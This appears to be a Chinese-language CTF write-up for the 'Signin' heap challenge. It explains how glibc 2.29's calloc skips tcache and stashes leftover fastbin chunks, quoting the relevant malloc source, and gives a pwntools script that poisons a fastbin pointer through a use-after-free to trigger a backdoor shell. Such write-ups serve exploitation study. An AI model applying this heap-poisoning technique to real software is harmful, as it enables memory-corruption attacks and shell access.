0%

Signin(calloc不从tcache里取chunk)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在一个后门函数,要执行后面函数,需要ptr不为0

Delete功能没有清空指针

Edit功能存在UAF漏洞,但**[edit功能只能使用一次]{.mark}**

测试出题目给我们的glibc版本为2.29,存在tcahce机制。

由于edit功能只用一次。同时,我们注意到后门里函数使用了calloc。

通过阅读glibc2.29源码,我们得知**[calloc不会从tcache bin里取空闲的chunk,而是从fastbin里取,取完后,和malloc一样,如果fastbin里还有剩余的chunk,则全部放到对应的tcache bin里取,采用头插法]{.mark}**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))  
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

那么,我们可以利用一次edit,把ptr-0x10链接到fastbin里去,然后调用后面函数执行calloc从fastbin里取出一个chunk,然后剩余的chunk全部放到对应的tcache bin里去。[由于采用的是头插法插入,那么(ptr-0x10)->fd = heap_x_addr]{.mark},这样,也就是ptr被写了一个堆的地址,不为0了,那么接下来就会执行system(“/bin/sh”)了。

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf8  
from pwn import *

sh = process('./signin')
ptr = 0x4040C0

def create(index):
sh.sendlineafter('your choice?','1')
sh.sendlineafter('idx?',str(index))

def edit(index,content):
sh.sendlineafter('your choice?','2')
sh.sendlineafter('idx?',str(index).ljust(0xE,'\x00'))
sh.send(content)

def delete(index):
sh.sendlineafter('your choice?','3')
sh.sendlineafter('idx?',str(index))
#申请8个堆
for i in range(8):
create(i)

#释放8个堆,7个进tcache,1个进fastbin
for i in range(8):
delete(i)
#从tcache里取出一个,则还剩下6个
create(8)
edit(7,p64(ptr - 0x10))
#getshell
sh.sendlineafter('your choice?','6')

sh.interactive()